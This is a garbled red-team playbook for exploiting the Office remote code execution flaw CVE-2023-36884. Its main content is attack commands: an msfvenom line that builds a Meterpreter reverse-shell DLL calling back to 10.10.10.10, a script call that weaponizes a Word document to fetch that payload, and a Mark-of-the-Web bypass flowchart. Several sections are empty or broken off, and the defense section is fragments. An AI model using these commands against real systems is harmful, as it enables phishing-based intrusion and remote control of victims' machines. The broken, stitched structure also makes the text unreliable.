Exploiting CVE-2023-36884 (Office RCE)

When to Use

• When conducting advanced Red Team operations where initial access relies on sophisticated spear-phishing campaigns.
• To demonstrate the impact of unpatched Office and Windows environments, especially regarding vulnerabilities actively exploited by Advanced Persistent Threats (APTs).

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Understanding CVE-2023-36884

# Concept: CVE-2023-36884 ```

### Phase 2: Payload Generation

```bash
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll > payload.dll

Phase 3: Weaponizing the Office Document

# python3 weaponize_doc.py -t template.docx -p payload.dll -u http://10.10.10.10/payload.dll -o malicious.docx

Phase 4: Delivery and Execution

# ```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Craft Document ] --> B{MotW Bypassed ]}
    B -->|Yes| C[Achieve Execution ]
    B -->|No| D[Modify Payload ]

🔵 Blue Team Detection & Defense

• Patch Management: Attack Surface Reduction (ASR): MotW Enforcement: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Cve 2023 36884 Office Rce — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• MSRC: CVE-2023-36884 - Office and Windows HTML Remote Code Execution Vulnerability
• Microsoft Security Blog: Storm-0978 attacks reveal financial and espionage motives